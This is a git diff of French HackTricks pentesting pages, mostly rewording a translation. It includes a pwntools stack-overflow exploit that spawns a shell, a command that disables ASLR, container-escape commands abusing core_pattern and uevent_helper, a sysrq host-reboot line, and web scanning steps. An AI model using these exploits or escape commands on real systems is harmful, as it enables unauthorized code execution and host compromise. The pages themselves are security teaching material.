+{% code overflow="wrap" %}
+```bash
+clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
+```
+{% endcode %}
+
+## Pas de ASLR & Pas de canary - Débordement de pile
+
+Pour arrêter ASLR, exécutez :
+```bash
+echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
+```
+Pour obtenir le [**décalage de la débordement de tampon, consultez ce lien**](../ret2win/ret2win-arm64.md#finding-the-offset).
+
+Exploitation :
+```python
+from pwn import *
+
+# Load the binary
+binary_name = './bof'
+elf = context.binary = ELF(binary_name)
+
+# Generate shellcode
+shellcode = asm(shellcraft.sh())
+
+# Start the process
+p = process(binary_name)
+
+# Offset to return address
+offset = 72
+
+# Address in the stack after the return address
+ret_address = p64(0xfffffffff1a0)
+
+# Craft the payload
+payload = b'A' * offset + ret_address + shellcode
+
+print("Payload length: "+ str(len(payload)))
+
+# Send the payload
+p.send(payload)
+
+# Drop to an interactive session
+p.interactive()
+```
+La seule chose "compliquée" à trouver ici serait l'adresse dans la pile à appeler. Dans mon cas, j'ai généré l'exploit avec l'adresse trouvée en utilisant gdb, mais ensuite lors de l'exploitation, cela n'a pas fonctionné (car l'adresse de la pile a légèrement changé).
+
+J'ai ouvert le fichier **`core` généré** (`gdb ./bog ./core`) et vérifié l'adresse réelle du début du shellcode.

linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md

@@ -14,11 +14,11 @@ Autres façons de soutenir HackTricks :
 
 </details>
 
-<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
 
 {% embed url="https://websec.nl/" %}
 
-L'exposition de `/proc` et `/sys` sans une isolation de l'espace de noms appropriée présente des risques de sécurité importants, notamment l'agrandissement de la surface d'attaque et la divulgation d'informations. Ces répertoires contiennent des fichiers sensibles qui, s'ils sont mal configurés ou consultés par un utilisateur non autorisé, peuvent entraîner une évasion de conteneur, une modification de l'hôte ou fournir des informations aidant à d'autres attaques. Par exemple, le montage incorrect de `-v /proc:/host/proc` peut contourner la protection AppArmor en raison de sa nature basée sur le chemin, laissant `/host/proc` non protégé.
+L'exposition de `/proc` et `/sys` sans une isolation de l'espace de noms appropriée présente des risques de sécurité importants, notamment l'agrandissement de la surface d'attaque et la divulgation d'informations. Ces répertoires contiennent des fichiers sensibles qui, s'ils sont mal configurés ou consultés par un utilisateur non autorisé, peuvent entraîner une évasion de conteneur, une modification de l'hôte ou fournir des informations aidant à d'autres attaques. Par exemple, monter de manière incorrecte `-v /proc:/host/proc` peut contourner la protection AppArmor en raison de sa nature basée sur le chemin, laissant `/host/proc` non protégé.
 
 **Vous pouvez trouver plus de détails sur chaque vulnérabilité potentielle dans** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
 
@@ -31,19 +31,19 @@ Ce répertoire permet d'accéder à la modification des variables du noyau, gén
 #### **`/proc/sys/kernel/core_pattern`**
 
 * Décrit dans [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
-* Permet de définir un programme à exécuter lors de la génération d'un fichier core avec les 128 premiers octets comme arguments. Cela peut entraîner l'exécution de code si le fichier commence par un pipe `|`.
+* Permet de définir un programme à exécuter lors de la génération d'un fichier core avec les 128 premiers octets comme arguments. Cela peut entraîner une exécution de code si le fichier commence par un pipe `|`.
 *   **Exemple de test et d'exploitation** :
 
 ```bash
 [ -w /proc/sys/kernel/core_pattern ] && echo Oui # Test d'accès en écriture
 cd /proc/sys/kernel
-echo "|$overlay/shell.sh" > core_pattern # Définit un gestionnaire personnalisé
-sleep 5 && ./crash & # Déclenche le gestionnaire
+echo "|$overlay/shell.sh" > core_pattern # Définir un gestionnaire personnalisé
+sleep 5 && ./crash & # Déclencher le gestionnaire
 ```
 
 #### **`/proc/sys/kernel/modprobe`**
 
-* Détails dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
+* Détail dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
 * Contient le chemin du chargeur de module du noyau, invoqué pour charger les modules du noyau.
 *   **Exemple de vérification d'accès** :
 
@@ -63,10 +63,10 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Vérifier l'accès à modprobe
 
 #### **`/proc/sys/fs/binfmt_misc`**
 
-* Permet d'enregistrer des interprètes pour les formats binaires non natifs en fonction de leur numéro magique.
+* Permet d'enregistrer des interprètes pour des formats binaires non natifs en fonction de leur numéro magique.
 * Peut entraîner une élévation de privilèges ou un accès au shell root si `/proc/sys/fs/binfmt_misc/register` est inscriptible.
 * Exploit pertinent et explication :
-* [Rootkit du pauvre via binfmt\_misc](https://github.com/toffan/binfmt\_misc)
+* [Rootkit de pauvre homme via binfmt\_misc](https://github.com/toffan/binfmt\_misc)
 * Tutoriel approfondi : [Lien vidéo](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
 
 ### Autres dans `/proc`
@@ -78,7 +78,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Vérifier l'accès à modprobe
 
 #### **`/proc/sysrq-trigger`**
 
-* Permet d'invoquer des commandes Sysrq, provoquant potentiellement des redémarrages immédiats du système ou d'autres actions critiques.
+* Permet d'invoquer des commandes Sysrq, pouvant entraîner des redémarrages immédiats du système ou d'autres actions critiques.
 *   **Exemple de redémarrage de l'hôte** :
 
 ```bash
@@ -93,7 +93,7 @@ echo b > /proc/sysrq-trigger # Redémarre l'hôte
 #### **`/proc/kallsyms`**
 
 * Liste les symboles exportés du noyau et leurs adresses.
-* Essentiel pour le développement d'exploits du noyau, en particulier pour contourner le KASLR.
+* Essentiel pour le développement d'exploits du noyau, en particulier pour surmonter KASLR.
 * Les informations d'adresse sont restreintes avec `kptr_restrict` défini sur `1` ou `2`.
 * Détails dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
 
@@ -130,7 +130,7 @@ echo b > /proc/sysrq-trigger # Redémarre l'hôte
 * Fournit des informations sur les points de montage dans l'espace de noms de montage du processus.
 * Expose l'emplacement du `rootfs` du conteneur ou de l'image.
 
-### Vulnérabilités `/sys`
+### Vulnérabilités sys
 
 #### **`/sys/kernel/uevent_helper`**
 
@@ -138,28 +138,28 @@ echo b > /proc/sysrq-trigger # Redémarre l'hôte
 * Écrire dans `/sys/kernel/uevent_helper` peut exécuter des scripts arbitraires lors de déclenchements `uevent`.
 *   **Exemple d'exploitation** : %%%bash
 
-## Crée une charge utile
+### Crée une charge utile
 
 echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
 
-## Trouve le chemin de l'hôte à partir du montage OverlayFS pour le conteneur
+### Trouve le chemin de l'hôte à partir du montage OverlayFS pour le conteneur
 
 host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
 
-## Définit uevent\_helper sur un assistant malveillant
+### Définit uevent\_helper sur un assistant malveillant
 
 echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper
 
-## Déclenche un uevent
+### Déclenche un uevent
 
 echo change > /sys/class/mem/null/uevent
 
-## Lit la sortie
+### Lit la sortie
 
 cat /output %%%
 #### **`/sys/class/thermal`**
 
-* Contrôle les paramètres de température, pouvant causer des attaques de type DoS ou des dommages physiques.
+* Contrôle les paramètres de température, pouvant causer des attaques de déni de service ou des dommages physiques.
 
 #### **`/sys/kernel/vmcoreinfo`**
 
@@ -167,7 +167,7 @@ cat /output %%%
 
 #### **`/sys/kernel/security`**
 
-* Contient l'interface `securityfs`, permettant la configuration des Modules de Sécurité Linux comme AppArmor.
+* Contient l'interface `securityfs`, permettant la configuration des modules de sécurité Linux comme AppArmor.
 * L'accès pourrait permettre à un conteneur de désactiver son système MAC.
 
 #### **`/sys/firmware/efi/vars` et `/sys/firmware/efi/efivars`**
@@ -186,7 +186,7 @@ cat /output %%%
 * [Comprendre et renforcer la sécurité des conteneurs Linux](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
 * [Abus des conteneurs Linux privilégiés et non privilégiés](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
 
-<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
 
 {% embed url="https://websec.nl/" %}
 
@@ -199,7 +199,7 @@ Autres façons de soutenir HackTricks:
 * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

network-services-pentesting/pentesting-web/README.md

@@ -10,7 +10,7 @@ Autres façons de soutenir HackTricks:
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
 * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
 
 </details>
 
@@ -22,7 +22,7 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impirat
 
 ## Informations de Base
 
-Le service web est le service le plus **commun et le plus étendu** et de nombreux **types de vulnérabilités différents** existent.
+Le service web est le service le plus **commun et étendu** et de nombreux **types de vulnérabilités différents** existent.
 
 **Port par défaut :** 80 (HTTP), 443 (HTTPS)
 ```bash
@@ -35,7 +35,7 @@ PORT    STATE SERVICE
 nc -v domain.com 80 # GET / HTTP/1.0
 openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 ```
-### Conseils pour les API Web
+### Conseils sur les API Web
 
 {% content-ref url="web-api-pentesting.md" %}
 [web-api-pentesting.md](web-api-pentesting.md)
@@ -43,20 +43,20 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 
 ## Résumé de la méthodologie
 
-> Dans cette méthodologie, nous supposons que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Vous devriez appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre.
+> Dans cette méthodologie, nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Vous devriez donc appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre.
 
 * [ ] Commencez par **identifier** les **technologies** utilisées par le serveur web. Recherchez des **astuces** à garder à l'esprit pendant le reste du test si vous parvenez à identifier avec succès la technologie.
 * [ ] Y a-t-il une **vulnérabilité connue** de la version de la technologie?
 * [ ] Utilisation d'une **technologie bien connue**? Des **astuces utiles** pour extraire plus d'informations?
 * [ ] Un **scanner spécialisé** à exécuter (comme wpscan)?
-* [ ] Lancez des **scanners à usage général**. Vous ne savez jamais s'ils vont trouver quelque chose ou s'ils vont trouver des informations intéressantes.
+* [ ] Lancez des **scanners à usage général**. On ne sait jamais s'ils vont trouver quelque chose ou s'ils vont trouver des informations intéressantes.
 * [ ] Commencez par les **vérifications initiales** : **robots**, **plan du site**, erreur **404** et analyse **SSL/TLS** (si HTTPS).
 * [ ] Commencez à **explorer** la page web : Il est temps de **trouver** tous les **fichiers, dossiers** et **paramètres** possibles utilisés. Vérifiez également les **découvertes spéciales**.
 * [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou de l'exploration, il doit être exploré._
-* [ ] **Brute-Force des répertoires** : Essayez de forcer le passage à travers tous les répertoires découverts à la recherche de nouveaux **fichiers** et **répertoires**.
-* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou de l'exploration, il doit être soumis au Brute-Force._
+* [ ] **Brute-Force des répertoires** : Essayez de forcer le passage dans tous les dossiers découverts à la recherche de nouveaux **fichiers** et **répertoires**.
+* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou de l'exploration, il doit être soumis à une attaque par force brute._
 * [ ] **Vérification des sauvegardes** : Testez si vous pouvez trouver des **sauvegardes** des **fichiers découverts** en ajoutant des extensions de sauvegarde courantes.
-* [ ] **Brute-Force des paramètres** : Essayez de **trouver des paramètres cachés**.
+* [ ] **Attaque par force brute des paramètres** : Essayez de **trouver des paramètres cachés**.
 * [ ] Une fois que vous avez **identifié** tous les **points d'extrémité** possibles acceptant une **entrée utilisateur**, vérifiez tous les types de **vulnérabilités** qui y sont liées.
 * [ ] [Suivez cette liste de contrôle](../../pentesting-web/web-vulnerabilities-methodology.md)
 
@@ -123,7 +123,7 @@ Si l'application Web utilise une **technologie/plateforme bien connue** réperto
 
 Si le **code source** de l'application est disponible sur **github**, en plus de réaliser un **test White box** de l'application par **vous-même**, il y a **des informations** qui pourraient être **utiles** pour le **test Black-Box** actuel :
 
-* Y a-t-il un fichier **Journal des modifications ou Lisez-moi ou Version** ou tout autre élément avec des **informations de version accessibles** via le web ?
+* Y a-t-il un fichier **Journal des modifications ou Lisez-moi ou Version** ou toute information de **version accessible** via le web ?
 * Comment et où sont sauvegardées les **informations d'identification** ? Y a-t-il un fichier (accessible ?) avec des informations d'identification (noms d'utilisateur ou mots de passe) ?
 * Les **mots de passe** sont-ils en **texte brut**, **chiffrés** ou quel **algorithme de hachage** est utilisé ?
 * Utilise-t-il une **clé principale** pour chiffrer quelque chose ? Quel **algorithme** est utilisé ?
@@ -153,7 +153,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 Si un CMS est utilisé, n'oubliez pas d'**exécuter un scanner**, peut-être que quelque chose de juteux est trouvé :
 
 - [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**
-- [**CMSScan**](https://github.com/ajinabraham/CMSScan) : Recherche de problèmes de sécurité sur les sites Web [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin**. (Interface graphique)
+- [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** sites web pour des problèmes de sécurité. (GUI)
 - [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**
 - **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **ou** [**(M)oodle**](moodle.md)
 - [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@@ -163,7 +163,7 @@ wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> À ce stade, vous devriez déjà avoir des informations sur le serveur web utilisé par le client (si des données ont été fournies) et quelques astuces à garder à l'esprit pendant le test. Si vous avez de la chance, vous avez même trouvé un CMS et exécuté un scanner.
+> À ce stade, vous devriez déjà avoir des informations sur le serveur web utilisé par le client (si des données sont fournies) et quelques astuces à garder à l'esprit pendant le test. Si vous avez de la chance, vous avez peut-être même trouvé un CMS et exécuté un scanner.
 
 ## Découverte de l'application Web étape par étape
 
@@ -182,26 +182,26 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 
 **Forcer des erreurs**
 
-Les serveurs web peuvent **avoir un comportement inattendu** lorsqu'on leur envoie des données étranges. Cela peut ouvrir des **vulnérabilités** ou **révéler des informations sensibles**.
+Les serveurs web peuvent **avoir un comportement inattendu** lorsqu'on leur envoie des données étranges. Cela peut ouvrir des **vulnérabilités** ou **divulguer des informations sensibles**.
 
-* Accédez à des **pages fictives** comme /whatever\_fake.php (.aspx,.html,.etc)
-* Ajoutez "\[]", "]]", et "\[\[" dans les valeurs des **cookies** et des **paramètres** pour créer des erreurs
+* Accédez à des **pages fictives** comme /whatever\_fake.php (.aspx, .html, etc.)
+* Ajoutez "\[]", "]]" et "\[\[" dans les valeurs des **cookies** et des **paramètres** pour créer des erreurs
 * Générez une erreur en donnant une entrée comme **`/~randomthing/%s`** à la **fin** de l'**URL**
-* Essayez des **verbes HTTP différents** comme PATCH, DEBUG ou incorrects comme FAKE
+* Essayez des **verbes HTTP différents** comme PATCH, DEBUG ou incorrect comme FAKE
 
 #### **Vérifiez si vous pouvez télécharger des fichiers (**[**verbe PUT, WebDav**](put-method-webdav.md)**)**
 
 Si vous découvrez que **WebDav** est **activé** mais que vous n'avez pas suffisamment d'autorisations pour **télécharger des fichiers** dans le dossier racine, essayez de :
 
-* **Forcer** les identifiants
-* **Télécharger des fichiers** via WebDav vers le **reste des dossiers** trouvés à l'intérieur de la page web. Vous pouvez avoir l'autorisation de télécharger des fichiers dans d'autres dossiers.
+* **Forcer** les identifiants par **brute force**
+* **Téléchargez des fichiers** via WebDav vers le **reste** des **dossiers trouvés** à l'intérieur de la page web. Vous pouvez avoir l'autorisation de télécharger des fichiers dans d'autres dossiers.
 
 ### **Vulnérabilités SSL/TLS**
 
 * Si l'application **n'impose pas l'utilisation de HTTPS** à un moment donné, alors elle est **vulnérable aux attaques de l'homme du milieu (MitM)**
 * Si l'application **envoie des données sensibles (mots de passe) en utilisant HTTP**. Alors c'est une vulnérabilité élevée.
 
-Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier les **vulnérabilités** (dans les programmes de prime à la découverte de bugs, ce type de vulnérabilités ne sera probablement pas accepté) et utilisez [**a2sv** ](https://github.com/hahwul/a2sv) pour re-vérifier les vulnérabilités:
+Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier les **vulnérabilités** (dans les programmes de prime à la découverte de bugs, ces types de vulnérabilités ne seront probablement pas acceptés) et utilisez [**a2sv**](https://github.com/hahwul/a2sv) pour re-vérifier les vulnérabilités:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@@ -223,8 +223,8 @@ Lancez une sorte d'**araignée** à l'intérieur du web. Le but de l'araignée e
 * [**gau**](https://github.com/lc/gau) (go) : Araignée HTML qui utilise des fournisseurs externes (wayback, otx, commoncrawl).
 * [**ParamSpider**](https://github.com/devanshbatham/ParamSpider) : Ce script trouvera des URL avec des paramètres et les listera.
 * [**galer**](https://github.com/dwisiswant0/galer) (go) : Araignée HTML avec des capacités de rendu JS.
-* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python) : Araignée HTML, avec des capacités de beauté JS capable de rechercher de nouveaux chemins dans les fichiers JS. Il pourrait également être intéressant de jeter un coup d'œil à [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder.
-* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go) : Pour extraire des points de terminaison à la fois dans la source HTML et les fichiers javascript intégrés. Utile pour les chasseurs de bugs, les équipes rouges, les ninjas de la sécurité de l'information.
+* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python) : Araignée HTML, avec des capacités de beauté JS capable de rechercher de nouveaux chemins dans les fichiers JS. Il pourrait également être utile de jeter un œil à [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder.
+* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go) : Pour extraire des points de terminaison à la fois dans la source HTML et les fichiers javascript intégrés. Utile pour les chasseurs de bugs, les équipes rouges, les ninjas de la sécurité informatique.
 * [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7) : Un script python 2.7 utilisant Tornado et JSBeautifier pour analyser les URL relatives à partir de fichiers JavaScript. Utile pour découvrir facilement les requêtes AJAX. Semble ne pas être maintenu.
 * [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby) : Étant donné un fichier (HTML), il extraira les URL à partir de celui-ci en utilisant une expression régulière astucieuse pour trouver et extraire les URL relatives des fichiers moches (minifiés).
 * [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, plusieurs outils) : Rassemble des informations intéressantes à partir de fichiers JS en utilisant plusieurs outils.
@@ -236,8 +236,8 @@ Lancez une sorte d'**araignée** à l'intérieur du web. Le but de l'araignée e
 * [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder) : C'est un outil utilisé pour découvrir des points de terminaison pour une cible donnée.
 * [**waymore**](https://github.com/xnl-h4ck3r/waymore) : Découvrir des liens à partir de la machine wayback (en téléchargeant également les réponses dans le wayback et en recherchant plus de liens).
 * [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go) : Crawler (même en remplissant des formulaires) et trouver également des informations sensibles en utilisant des regex spécifiques.
-* [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un Crawler/Spider GUI de sécurité web multi-fonction avancé conçu pour les professionnels de la cybersécurité.
-* [**jsluice**](https://github.com/BishopFox/jsluice) (go) : C'est un package Go et un [outil en ligne de commande](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire des URL, des chemins, des secrets et d'autres données intéressantes du code source JavaScript.
+* [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un Crawler/Spider de sécurité web GUI multi-fonction avancé conçu pour les professionnels de la cybersécurité.
+* [**jsluice**](https://github.com/BishopFox/jsluice) (go) : C'est un package Go et [outil en ligne de commande](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire des URL, des chemins, des secrets et d'autres données intéressantes du code source JavaScript.
 * [**ParaForge**](https://github.com/Anof-cyber/ParaForge) : ParaForge est une extension simple de **Burp Suite** pour **extraire les paramètres et les points de terminaison** de la requête pour créer une liste de mots personnalisée pour le fuzzing et l'énumération.
 
 ### Brute Force directories and files
@@ -270,6 +270,7 @@ Outils :
 * [https://github.com/google/fuzzing/tree/master/dictionaries](https://github.com/google/fuzzing/tree/master/dictionaries)
 * [https://github.com/six2dez/OneListForAll](https://github.com/six2dez/OneListForAll)
 * [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists)
+* [https://github.com/ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths)
 * _/usr/share/wordlists/dirb/common.txt_
 * _/usr/share/wordlists/dirb/big.txt_
 * _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
@@ -286,14 +287,14 @@ _Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaq
 * _Assetnote "parameters\_top\_1m" :_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 * _nullenc0de "params.txt" :_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
 * **Commentaires** : Vérifiez les commentaires de tous les fichiers, vous pouvez y trouver des **identifiants** ou une **fonctionnalité cachée**.
-* Si vous participez à un **CTF**, une "astuce" courante est de **cacher des informations** à l'intérieur des commentaires à **droite** de la **page** (en utilisant **des centaines** d'**espaces** pour que les données ne soient pas visibles si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et de **cacher des informations** dans un commentaire en bas de la page web.
+* Si vous participez à un **CTF**, une "astuce" courante est de **cacher** des **informations** à l'intérieur des commentaires à **droite** de la **page** (en utilisant **des centaines** d'**espaces** pour que les données ne soient pas visibles si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et de **cacher des informations** dans un commentaire en bas de la page web.
 * **Clés API** : Si vous **trouvez une clé API**, il existe un guide indiquant comment utiliser les clés API de différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
-* Clés API Google : Si vous trouvez une clé API ressemblant à **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier quelles APIs la clé peut accéder.
+* Clés API Google : Si vous trouvez une clé API ressemblant à **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier à quelles APIs la clé peut accéder.
 * **Buckets S3** : Lors de l'exploration, vérifiez si un **sous-domaine** ou un **lien** est lié à un **bucket S3**. Dans ce cas, [**vérifiez** les **permissions** du bucket](buckets/).
 
 ### Découvertes spéciales
 
-**Pendant** l'**exploration** et l'**attaque par force brute**, vous pourriez trouver des **choses intéressantes** que vous devez **remarquer**.
+**En** effectuant l'**exploration** et l'**attaque par force brute**, vous pourriez trouver des **éléments intéressants** que vous devez **remarquer**.
 
 **Fichiers intéressants**
 
@@ -301,9 +302,9 @@ _Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaq
 * [Si vous trouvez un fichier _**.git**_, des informations peuvent être extraites](git.md)
 * Si vous trouvez un fichier _**.env**_, des informations telles que des clés API, des mots de passe de bases de données et d'autres informations peuvent être trouvées.
 * Si vous trouvez des **points de terminaison API**, vous [devriez également les tester](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ils ressembleront probablement à des fichiers.
-* **Fichiers JS** : Dans la section d'exploration, plusieurs outils capables d'extraire des chemins à partir de fichiers JS ont été mentionnés. Il serait également intéressant de **surveiller chaque fichier JS trouvé**, car dans certaines occasions, un changement peut indiquer l'introduction d'une vulnérabilité potentielle dans le code. Vous pourriez par exemple utiliser [**JSMon**](https://github.com/robre/jsmon)**.**
+* **Fichiers JS** : Dans la section d'exploration, plusieurs outils permettant d'extraire des chemins à partir de fichiers JS ont été mentionnés. Il serait également intéressant de **surveiller chaque fichier JS trouvé**, car dans certaines situations, un changement peut indiquer qu'une vulnérabilité potentielle a été introduite dans le code. Vous pourriez par exemple utiliser [**JSMon**](https://github.com/robre/jsmon)**.**
 * Vous devriez également vérifier les fichiers JS découverts avec [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) pour voir s'ils sont vulnérables.
-* **Déobfuscateur et désassembleur JavaScript** : [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
+* **Déobfuscation et désassembleur JavaScript** : [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
 * **Embelleur JavaScript** : [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
 * **Déobfuscation JsFuck** (javascript avec les caractères : "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
 * [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
@@ -318,7 +319,7 @@ _Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaq
 
 **502 Proxy Error**
 
-Si une page **répond** avec ce **code**, il s'agit probablement d'un proxy mal configuré. **Si vous envoyez une requête HTTP comme : `GET https://google.com HTTP/1.1`** (avec l'en-tête host et d'autres en-têtes courants), le **proxy** tentera d'accéder à _**google.com**_ **et vous aurez découvert une** SSRF.
+Si une page **répond** avec ce **code**, il s'agit probablement d'un **proxy mal configuré**. **Si vous envoyez une requête HTTP comme : `GET https://google.com HTTP/1.1`** (avec l'en-tête host et d'autres en-têtes courants), le **proxy** tentera d'accéder à _**google.com**_ **et vous aurez découvert une** SSRF.
 
